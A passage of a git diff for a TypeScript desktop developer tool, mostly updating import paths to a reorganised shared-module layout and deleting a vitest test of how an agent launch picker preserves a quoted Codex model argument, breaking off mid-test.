b/src/renderer/src/lib/browser/workspace/ssh-workspace-browser-route-eligibility.ts @@ -1,8 +1,8 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { isRuntimeOwnedSshTargetId, parseExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getOrcadSshDeployment, type PublicKnownRuntimeEnvironment diff --git a/src/renderer/src/lib/browser/workspace/workspace-browser-link-open.ts b/src/renderer/src/lib/browser/workspace/workspace-browser-link-open.ts index 858ee8df701..ed6eeccc536 100644 --- a/src/renderer/src/lib/browser/workspace/workspace-browser-link-open.ts +++ b/src/renderer/src/lib/browser/workspace/workspace-browser-link-open.ts @@ -2,8 +2,8 @@ import { focusOpenedBrowserLink } from '../navigation/browser-link-focus' import { createBrowserLinkHostMatcher } from '../navigation/browser-link-owner' import { resolveBrowserLinkSession } from '../navigation/browser-link-session' import { useAppStore } from '@/store/index' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { openLocalBrowserLink, browserLinkCommitIsValid } from '../navigation/browser-link-open' import { selectBrowserLinkDestination, diff --git a/src/renderer/src/lib/browser/workspace/workspace-browser-route-eligibility.ts b/src/renderer/src/lib/browser/workspace/workspace-browser-route-eligibility.ts index a88c8527912..e9f1c8bb24c 100644 --- a/src/renderer/src/lib/browser/workspace/workspace-browser-route-eligibility.ts +++ b/src/renderer/src/lib/browser/workspace/workspace-browser-route-eligibility.ts @@ -1,5 +1,5 @@ -import { parseExecutionHostId } from '../../../../../shared/execution-host' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import '../../../../../shared/remote-runtime/protocol/protocol-version' import { BROWSER_SCREENCAST_RUNTIME_CAPABILITY } from '../../../../../shared/browser/runtime/browser-runtime-capabilities' import { diff --git a/src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts b/src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts index b2d46e50057..d6a40b6cd35 100644 --- a/src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts +++ b/src/renderer/src/lib/browser/workspace/workspace-browser-tab-open.ts @@ -14,8 +14,11 @@ import { createWebRuntimeSessionBrowserTab } from '@/runtime/browser/creation/we import { resolveWebRuntimeBrowserClientTargetGroup } from '@/runtime/browser/creation/web-runtime-browser-client-target-group' import { useAppStore } from '@/store/index' import { resolveNewBrowserTabProfile } from '@/store/slices/browser/profiles/browser-new-tab-profile' -import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getClientCreationActionPolicy } from '../../workspace/creation/surface-policy/client-creation-action-policy' import type { ClientCreationActionAvailability } from '../../workspace/creation/surface-policy/client-creation-action-policy' import { diff --git a/src/renderer/src/lib/editor/file-operations/editor-file-child-owner.ts b/src/renderer/src/lib/editor/file-operations/editor-file-child-owner.ts index 3a716afb1c2..88ae89014f5 100644 --- a/src/renderer/src/lib/editor/file-operations/editor-file-child-owner.ts +++ b/src/renderer/src/lib/editor/file-operations/editor-file-child-owner.ts @@ -5,7 +5,7 @@ import { getRepoExecutionHostId, getRepoSshConnectionId, parseExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getFolderFileConnectionOwnerFromState } from '../../workspace/ownership/connection-owner-resolution' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { diff --git a/src/renderer/src/lib/editor/file-operations/editor-file-operation-owner.ts b/src/renderer/src/lib/editor/file-operations/editor-file-operation-owner.ts index 1dbcee94d49..6cad3614e8a 100644 --- a/src/renderer/src/lib/editor/file-operations/editor-file-operation-owner.ts +++ b/src/renderer/src/lib/editor/file-operations/editor-file-operation-owner.ts @@ -5,7 +5,10 @@ import { type EditorFileOperationProvenance } from './editor-file-operation-provenance' -import { parseExecutionHostId, toSshExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + toSshExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { AppState } from '@/store/types' import type { OpenFile } from '@/store/slices/editor/types/open-file' diff --git a/src/renderer/src/lib/editor/file-operations/editor-file-operation-provenance.ts b/src/renderer/src/lib/editor/file-operations/editor-file-operation-provenance.ts index 317c46729b6..41c3f631cc8 100644 --- a/src/renderer/src/lib/editor/file-operations/editor-file-operation-provenance.ts +++ b/src/renderer/src/lib/editor/file-operations/editor-file-operation-provenance.ts @@ -1,6 +1,6 @@ -import { parseExecutionHostId } from '../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../shared/execution-host' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { findFolderWorkspaceOwner } from '../../workspace/ownership/folder-workspace-runtime-owner' import { resolveOwner } from '../../workspace/ownership/resolve-owner' diff --git a/src/renderer/src/lib/editor/file-operations/open-editor-move-owner.ts b/src/renderer/src/lib/editor/file-operations/open-editor-move-owner.ts index 8fef695eed2..279ecb8cf41 100644 --- a/src/renderer/src/lib/editor/file-operations/open-editor-move-owner.ts +++ b/src/renderer/src/lib/editor/file-operations/open-editor-move-owner.ts @@ -1,6 +1,9 @@ import type { OpenFile } from '@/store/slices/editor/types/open-file' import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types' -import { parseExecutionHostId, toSshExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + toSshExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { getFileExplorerOperationOwnerFromState, type FileExplorerOwnerState diff --git a/src/renderer/src/lib/editor/file-operations/remap-open-editor-tabs-for-path-change.ts b/src/renderer/src/lib/editor/file-operations/remap-open-editor-tabs-for-path-change.ts index a81a6b9653c..989cd5efc06 100644 --- a/src/renderer/src/lib/editor/file-operations/remap-open-editor-tabs-for-path-change.ts +++ b/src/renderer/src/lib/editor/file-operations/remap-open-editor-tabs-for-path-change.ts @@ -20,7 +20,7 @@ import { normalizeRuntimePathSeparators, relativePathInsideRoot } from '../../../../../shared/file-access/cross-platform-path' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' // Share flavor-aware containment so Windows/UNC/WSL case/separator variants retarget instead of stranding tabs on renamed paths. diff --git a/src/renderer/src/lib/editor/markdown/review-notes/markdown-review-notes-setting.ts b/src/renderer/src/lib/editor/markdown/review-notes/markdown-review-notes-setting.ts index 8b0d9248baf..425139750a1 100644 --- a/src/renderer/src/lib/editor/markdown/review-notes/markdown-review-notes-setting.ts +++ b/src/renderer/src/lib/editor/markdown/review-notes/markdown-review-notes-setting.ts @@ -1,5 +1,5 @@ import type { DiffComment } from '../../../../../../shared/file-review/diff-comment-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { isMarkdownComment } from '../../../source-control/review/comments/diff-comment-compat' export function isMarkdownReviewNotesEnabled( diff --git a/src/renderer/src/lib/files/access/local-file-access.ts b/src/renderer/src/lib/files/access/local-file-access.ts index 83591886d59..47746d447bd 100644 --- a/src/renderer/src/lib/files/access/local-file-access.ts +++ b/src/renderer/src/lib/files/access/local-file-access.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { LocalFileAccess } from '../../../../../shared/file-access/local-file-access' import type { OpenFile } from '@/store/slices/editor/types/open-file' import { getConnectionIdForFile } from '../../workspace/ownership/connection-context' diff --git a/src/renderer/src/lib/files/access/runtime-workspace-file-route.ts b/src/renderer/src/lib/files/access/runtime-workspace-file-route.ts index db826763e14..6edc506858f 100644 --- a/src/renderer/src/lib/files/access/runtime-workspace-file-route.ts +++ b/src/renderer/src/lib/files/access/runtime-workspace-file-route.ts @@ -2,7 +2,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { findRuntimeWorkspaceFileOwner } from '../../../../../shared/file-access/runtime-workspace-file-owner' import { folderWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/lib/files/access/user-opened-local-path.ts b/src/renderer/src/lib/files/access/user-opened-local-path.ts index d6f8f57a2ed..a38824c3521 100644 --- a/src/renderer/src/lib/files/access/user-opened-local-path.ts +++ b/src/renderer/src/lib/files/access/user-opened-local-path.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { isPathOutsideAllowedDirectoriesError } from '../../../../../shared/file-access/local-file-access' import { isRemoteRuntimeFileOperation } from '@/runtime/files/runtime-file-routing' import { statRuntimePath } from '@/runtime/files/metadata/runtime-file-metadata-client' diff --git a/src/renderer/src/lib/files/artifacts/file-artifact-source-key.ts b/src/renderer/src/lib/files/artifacts/file-artifact-source-key.ts index c6425fe5c43..93cc2df726c 100644 --- a/src/renderer/src/lib/files/artifacts/file-artifact-source-key.ts +++ b/src/renderer/src/lib/files/artifacts/file-artifact-source-key.ts @@ -1,5 +1,8 @@ import { sshArtifactSourceKey } from '../../../../../shared/artifacts/artifact-cli-bridge' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' /** The host a shared file is read from. */ export type FileArtifactOwner = { diff --git a/src/renderer/src/lib/files/drop/remote-workspace-drop-test-fixtures.ts b/src/renderer/src/lib/files/drop/remote-workspace-drop-test-fixtures.ts index fef071f3d81..99274f073d6 100644 --- a/src/renderer/src/lib/files/drop/remote-workspace-drop-test-fixtures.ts +++ b/src/renderer/src/lib/files/drop/remote-workspace-drop-test-fixtures.ts @@ -1,6 +1,6 @@ import { useAppStore } from '@/store/index' import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import type { Repo } from '../../../../../shared/repository/repo-types' import type { TabGroup } from '../../../../../shared/workspace-layout/tab-groups/tab-types' diff --git a/src/renderer/src/lib/files/drop/workspace-file-drag-source.ts b/src/renderer/src/lib/files/drop/workspace-file-drag-source.ts index 9f4895e6c7c..d3b5b577a77 100644 --- a/src/renderer/src/lib/files/drop/workspace-file-drag-source.ts +++ b/src/renderer/src/lib/files/drop/workspace-file-drag-source.ts @@ -4,7 +4,7 @@ import { runtimeEnvironmentIdForWorkspaceOwner } from '../../workspace/ownership import { parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { writeWorkspaceFileDragSourceIfResolved } from './workspace-file-drag' /** Source-control rows list the live workspace, so the owner is resolved now diff --git a/src/renderer/src/lib/files/drop/workspace-file-drag.ts b/src/renderer/src/lib/files/drop/workspace-file-drag.ts index 78b5b8087a8..0586834e1c4 100644 --- a/src/renderer/src/lib/files/drop/workspace-file-drag.ts +++ b/src/renderer/src/lib/files/drop/workspace-file-drag.ts @@ -10,7 +10,7 @@ import { isUnresolvedOwnerHostId, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' export const WORKSPACE_FILE_PATH_MIME = 'text/x-orca-file-path' export const WORKSPACE_FILE_PATHS_MIME = 'text/x-orca-file-paths' diff --git a/src/renderer/src/lib/files/os-open/external-editor-open-capability.ts b/src/renderer/src/lib/files/os-open/external-editor-open-capability.ts index 96835ea9a49..5aa3fef7667 100644 --- a/src/renderer/src/lib/files/os-open/external-editor-open-capability.ts +++ b/src/renderer/src/lib/files/os-open/external-editor-open-capability.ts @@ -1,5 +1,5 @@ import { isRemoteSshEditorCommand } from '../../../../../shared/editor/launch/remote-ssh-editor-launcher' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getWindowsPathAccess } from './windows-path-access' import type { WorkspaceEditorSshHost } from '../../../components/file-actions/workspace-editor-ssh-target' diff --git a/src/renderer/src/lib/files/os-open/local-path-open-guard.ts b/src/renderer/src/lib/files/os-open/local-path-open-guard.ts index 8ff23523bac..361a12743b2 100644 --- a/src/renderer/src/lib/files/os-open/local-path-open-guard.ts +++ b/src/renderer/src/lib/files/os-open/local-path-open-guard.ts @@ -4,7 +4,7 @@ import { parseRoutableExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { ExecutionHostOwnerMatch } from '../../../../../shared/execution-host/worktree-execution-host-resolution' import { translate } from '@/i18n/i18n' import { getWindowsPathAccess } from './windows-path-access' diff --git a/src/renderer/src/lib/files/os-open/open-in-app-catalog.tsx b/src/renderer/src/lib/files/os-open/open-in-app-catalog.tsx index d3c76def571..cb8b0c3817d 100644 --- a/src/renderer/src/lib/files/os-open/open-in-app-catalog.tsx +++ b/src/renderer/src/lib/files/os-open/open-in-app-catalog.tsx @@ -1,6 +1,6 @@ import type React from 'react' import { AppWindow } from 'lucide-react' -import type { OpenInApplication } from '../../../../../shared/ui-chrome-types' +import type { OpenInApplication } from '../../../../../shared/ui-chrome/ui-chrome-types' import { cn } from '../../class-names' import { translate } from '@/i18n/i18n' import { createLocalizedCatalog } from '@/i18n/localized-catalog' diff --git a/src/renderer/src/lib/files/os-open/open-in-application-selection.ts b/src/renderer/src/lib/files/os-open/open-in-application-selection.ts index d591359d2ae..2b4ccec4a9c 100644 --- a/src/renderer/src/lib/files/os-open/open-in-application-selection.ts +++ b/src/renderer/src/lib/files/os-open/open-in-application-selection.ts @@ -1,3 +1,3 @@ -import type { OpenInApplication } from '../../../../../shared/ui-chrome-types' +import type { OpenInApplication } from '../../../../../shared/ui-chrome/ui-chrome-types' export const NO_OPEN_IN_APPLICATIONS: readonly OpenInApplication[] = [] diff --git a/src/renderer/src/lib/files/os-open/reveal-in-file-manager.ts b/src/renderer/src/lib/files/os-open/reveal-in-file-manager.ts index 1b880105c0c..12f101f524e 100644 --- a/src/renderer/src/lib/files/os-open/reveal-in-file-manager.ts +++ b/src/renderer/src/lib/files/os-open/reveal-in-file-manager.ts @@ -1,5 +1,8 @@ import { toast } from 'sonner' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' import { getLocalFileManager } from './local-file-manager-label' diff --git a/src/renderer/src/lib/files/os-open/windows-path-access.ts b/src/renderer/src/lib/files/os-open/windows-path-access.ts index 29a0e7f1593..945c72c13d7 100644 --- a/src/renderer/src/lib/files/os-open/windows-path-access.ts +++ b/src/renderer/src/lib/files/os-open/windows-path-access.ts @@ -1,4 +1,4 @@ -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { windowsPathAccess, type WindowsPathAccess diff --git a/src/renderer/src/lib/links/ownership/link-source-local-open-owner.ts b/src/renderer/src/lib/links/ownership/link-source-local-open-owner.ts index a4fefa7438e..cbfaccae7e2 100644 --- a/src/renderer/src/lib/links/ownership/link-source-local-open-owner.ts +++ b/src/renderer/src/lib/links/ownership/link-source-local-open-owner.ts @@ -1,8 +1,8 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getResolvedExecutionHostIdForWorktree } from '../../workspace/ownership/resolved-worktree-execution-host' import type { HttpLinkSourceOwner } from '../../browser/navigation/http-link-routing' import type { WorktreeRuntimeOwnerState } from '../../workspace/ownership/worktree-runtime-owner-state' diff --git a/src/renderer/src/lib/pane-manager/pane-manager-types.ts b/src/renderer/src/lib/pane-manager/pane-manager-types.ts index 54b6b1aca1a..a7a8d4b0a3c 100644 --- a/src/renderer/src/lib/pane-manager/pane-manager-types.ts +++ b/src/renderer/src/lib/pane-manager/pane-manager-types.ts @@ -7,7 +7,7 @@ import type { Unicode11Addon } from '@xterm/addon-unicode11' import type { WebLinksAddon } from '@xterm/addon-web-links' import type { WebglAddon } from '@xterm/addon-webgl' import type { SerializeAddon } from '@xterm/addon-serialize' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { TerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id' import type { TerminalPanePlacement } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-placement' import type { ScrollState } from './terminal-scroll/pane-scroll-snapshot' diff --git a/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol.ts b/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol.ts index 30ba604de4e..560bf75c03d 100644 --- a/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol.ts +++ b/src/renderer/src/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol.ts @@ -1,5 +1,5 @@ import type { ITerminalOptions } from '@xterm/xterm' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import { isLocalNativeWindowsConpty, diff --git a/src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.ts b/src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.ts index 15521fc05bd..94158ac0fc4 100644 --- a/src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.ts +++ b/src/renderer/src/lib/pane-manager/terminal-protocol/windows-pty-compatibility.ts @@ -1,6 +1,9 @@ import type { ITerminalOptions } from '@xterm/xterm' import { isWslUncPath } from '../../../../../shared/file-access/wsl-paths' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { buildXtermConptyOptions, parseWindowsBuildNumber, diff --git a/src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.ts b/src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.ts index 6902de8044b..26830a6e7b3 100644 --- a/src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.ts +++ b/src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.ts @@ -20,7 +20,7 @@ import { shutdownManagedSimulatorIfNoPane } from '../tabs/simulator-pane-shutdown-scheduler' import { assertClientCreationActionAvailable } from '../../workspace/creation/surface-policy/client-creation-action-policy' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { EmulatorStreamInfo } from '@/components/emulator-pane/session/emulator-pane-types' type OpenMobileEmulatorTabOptions = { diff --git a/src/renderer/src/lib/simulator/search/simulator-palette-active-tab.ts b/src/renderer/src/lib/simulator/search/simulator-palette-active-tab.ts index bdb4d7a73f0..bbd73f72483 100644 --- a/src/renderer/src/lib/simulator/search/simulator-palette-active-tab.ts +++ b/src/renderer/src/lib/simulator/search/simulator-palette-active-tab.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { TabGroup, WorkspaceVisibleTabType diff --git a/src/renderer/src/lib/simulator/search/simulator-palette-search-types.ts b/src/renderer/src/lib/simulator/search/simulator-palette-search-types.ts index 36cf57184e9..4d6c292281b 100644 --- a/src/renderer/src/lib/simulator/search/simulator-palette-search-types.ts +++ b/src/renderer/src/lib/simulator/search/simulator-palette-search-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Tab, TabGroup, diff --git a/src/renderer/src/lib/simulator/tabs/ensure-simulator-tab.ts b/src/renderer/src/lib/simulator/tabs/ensure-simulator-tab.ts index 5fd3992fdc8..2b2eefd98d4 100644 --- a/src/renderer/src/lib/simulator/tabs/ensure-simulator-tab.ts +++ b/src/renderer/src/lib/simulator/tabs/ensure-simulator-tab.ts @@ -3,7 +3,10 @@ import { findReusableRightSplitGroupId } from './emulator-right-split-target' import { cancelPendingSimulatorPaneShutdown } from './simulator-pane-shutdown-scheduler' import './simulator-tab-shutdown' import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../shared/identifiers/non-secure-context-uuid' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { findAmbiguousWorktreeIds, getActiveExecutionHostIdForWorktree, diff --git a/src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.ts b/src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.ts index bd600c905f4..75fb261c486 100644 --- a/src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.ts +++ b/src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.ts @@ -1,5 +1,5 @@ import { useAppStore } from '@/store/index' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { activateAndRevealWorkspace } from '../../workspace/activation/worktree-activation' import { findAmbiguousWorktreeIds, diff --git a/src/renderer/src/lib/skills/runtime/bundled-skill-target.ts b/src/renderer/src/lib/skills/runtime/bundled-skill-target.ts index bc3ee9009f1..47b0b10122a 100644 --- a/src/renderer/src/lib/skills/runtime/bundled-skill-target.ts +++ b/src/renderer/src/lib/skills/runtime/bundled-skill-target.ts @@ -3,7 +3,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getManagedOrcadSshTargetId, type ManagedOrcadEnvironmentSummary diff --git a/src/renderer/src/lib/skills/runtime/project-skill-runtime.ts b/src/renderer/src/lib/skills/runtime/project-skill-runtime.ts index a8b38427198..901b5c693fa 100644 --- a/src/renderer/src/lib/skills/runtime/project-skill-runtime.ts +++ b/src/renderer/src/lib/skills/runtime/project-skill-runtime.ts @@ -1,7 +1,7 @@ // COMPAT(wsl-bridge): removed when WSL runs as an orcad host. import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime' import type { SkillDiscoveryTarget } from '../../../../../shared/skills/discovery/skills' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { resolveWindowsShellStartupFamily } from '../../../../../shared/shell/launch/windows-terminal-shell' import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/lib/skills/runtime/skill-runtime-command.ts b/src/renderer/src/lib/skills/runtime/skill-runtime-command.ts index 45129004160..a43df5980d4 100644 --- a/src/renderer/src/lib/skills/runtime/skill-runtime-command.ts +++ b/src/renderer/src/lib/skills/runtime/skill-runtime-command.ts @@ -1,5 +1,5 @@ // COMPAT(wsl-bridge): removed when WSL runs as an orcad host. -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { deriveGlobalWindowsRuntimeDefaultFromLegacySettings } from '../../../../../shared/execution-host/project-runtime-legacy-migration' import { normalizeGlobalWindowsRuntimeDefault } from '../../../../../shared/execution-host/project-runtime-preference' import { diff --git a/src/renderer/src/lib/source-control/ai/source-control-agent-launch-picker.source.test.ts b/src/renderer/src/lib/source-control/ai/source-control-agent-launch-picker.source.test.ts deleted file mode 100644 index 2eb39b9ac5b..00000000000 --- a/src/renderer/src/lib/source-control/ai/source-control-agent-launch-picker.source.test.ts +++ /dev/null @@ -1,435 +0,0 @@ -import { entry } from './source-control-agent-picker-test-fixture' - -import { agentModelChoiceChips } from '../../../components/agent/launch-settings/agent-model-choice-chips' - -import { expect, it } from 'vitest' -import { - agentPickerLaunchInputs, - type AgentPickerEntry -} from '../../../../../shared/agent-launch/picker/agent-launch-picker' -import { getDefaultSettings } from '../../../../../shared/constants' - -import { applyAgentPickerEdit } from '../../../../../shared/agent-launch/picker/agent-launch-picker-edits' -import { captureSourceControlActionSelection } from '../../../../../shared/source-control/ai/source-control-ai-operation-policy' -import { - canonicalSourceControlActionSelection, - selectSourceControlActionRecipe -} from '../../../../../shared/source-control/ai/recipes/source-control-action-selection' -import { projectSourceControlActionLaunch } from '../../../../../shared/source-control/ai/recipes/source-control-action-launch-preferences' - -import { agentPickerPanelArguments } from '../../../../../shared/agent-launch/picker/agent-launch-picker-arguments' -import { saveSourceControlActionRecipe } from '../../../../../shared/source-control/ai/settings/source-control-ai-recipe-save' -import { resolveAgentLaunchCommand } from '../../../../../shared/agent-launch/startup/tui-agent-launch-command' -import { - applySourceControlPickerDraft, - sourceControlPickerDraft -} from './source-control-agent-launch-picker' - -it.each([ - ['global', 'raw'], - ['global', 'serialized node'], - ['repo', 'raw'], - ['repo', 'serialized node'] -] as const)( - 'conserves a quoted model from canonical %s %s ingress through effort, Save and normal reopen', - (scope, ingress) => { - const text = `-c 'model="true"'` - const base = getDefaultSettings('/tmp/picker-canonical') - const settings = { - ...base, - sourceControlAi: { - ...base.sourceControlAi!, - actions: { - fixChecks: { - agentId: 'codex' as const, - surface: 'chat' as const, - commandInputTemplate: '{basePrompt}', - agentArgs: ingress === 'raw' ? text : '', - ...(ingress === 'serialized node' - ? { argumentChoices: { syntaxAgent: 'codex' as const, nodes: [{ at: 0, text }] } } - : {}) - } - } - } - } - const inventory: AgentPickerEntry = { - ...entry, - agent: 'codex', - label: 'Codex', - arguments: '', - terminal: { permissionMode: 'own' }, - structured: { model: 'gpt-5.5' }, - catalog: { origin: 'unknown' } - } - const repo = - scope === 'repo' - ? { - sourceControlAi: { - actionOverrides: { fixChecks: settings.sourceControlAi.actions.fixChecks } - } - } - : undefined - const captured = captureSourceControlActionSelection({ actionId: 'fixChecks', settings, repo }) - expect(captured.current.argumentChoices).toBeUndefined() - expect(captured.current.agentArgs).toBe(text) - const draft = sourceControlPickerDraft(captured, inventory, 'chat') - const snapshot = structuredClone(captured) - const initialView = agentPickerPanelArguments(inventory, draft) - expect(initialView.choices.model).toBe('true') - expect(initialView.context.occurrences).toMatchObject([ - { key: 'model', value: 'true', valueType: 'string', lift: false } - ]) - expect(applySourceControlPickerDraft(captured, inventory, draft)).toBe(captured) - expect(captured).toEqual(snapshot) - const edited = applyAgentPickerEdit(inventory, draft, { - kind: 'choice', - patch: { options: { effort: 'high' } } - }) - const currentView = agentPickerPanelArguments(inventory, edited) - expect(currentView.choices).toMatchObject({ model: 'true', options: { effort: 'high' } }) - expect( - agentModelChoiceChips('codex', 'Codex', currentView.choices, () => '', currentView.context) - ).toContainEqual(expect.objectContaining({ key: 'model', flag: text, source: 'arguments' })) - expect(edited.choices.model).toBeUndefined() - expect(captured).toEqual(snapshot) - const selection = applySourceControlPickerDraft(captured, inventory, edited) - const saved = saveSourceControlActionRecipe({ - target: scope === 'global' ? { type: 'global' } : { type: 'repo', repoId: 'repo-source' }, - settings, - repo, - actionId: 'fixChecks', - recipe: selectSourceControlActionRecipe(selection) - }) - const reopened = captureSourceControlActionSelection({ - actionId: 'fixChecks', - settings: - 'sourceControlAi' in saved - ? { ...settings, sourceControlAi: saved.sourceControlAi } - : settings, - repo: - 'update' in saved - ? { sourceControlAi: saved.update.sourceControlAi ?? undefined } - : undefined - }) - expect(reopened.source.authoredPreferences?.modelSelection).toEqual({ - base: 'default', - options: { effort: { agentId: 'codex', value: 'high' } } - }) - const savedProjection = projectSourceControlActionLaunch( - selectSourceControlActionRecipe(reopened), - 'codex', - { basePrompt: 'fix checks' } - ) - const chatView = agentPickerPanelArguments( - inventory, - sourceControlPickerDraft(reopened, inventory, 'chat') - ).choices - const full = agentPickerLaunchInputs({ ...edited, surface: 'terminal' }, inventory) - const compile = (input: typeof full) => - resolveAgentLaunchCommand({ - agent: 'codex', - cmdOverrides: { codex: 'cx' }, - platform: 'darwin', - shell: 'posix', - agentArgs: input.agentArgs, - sessionOptions: 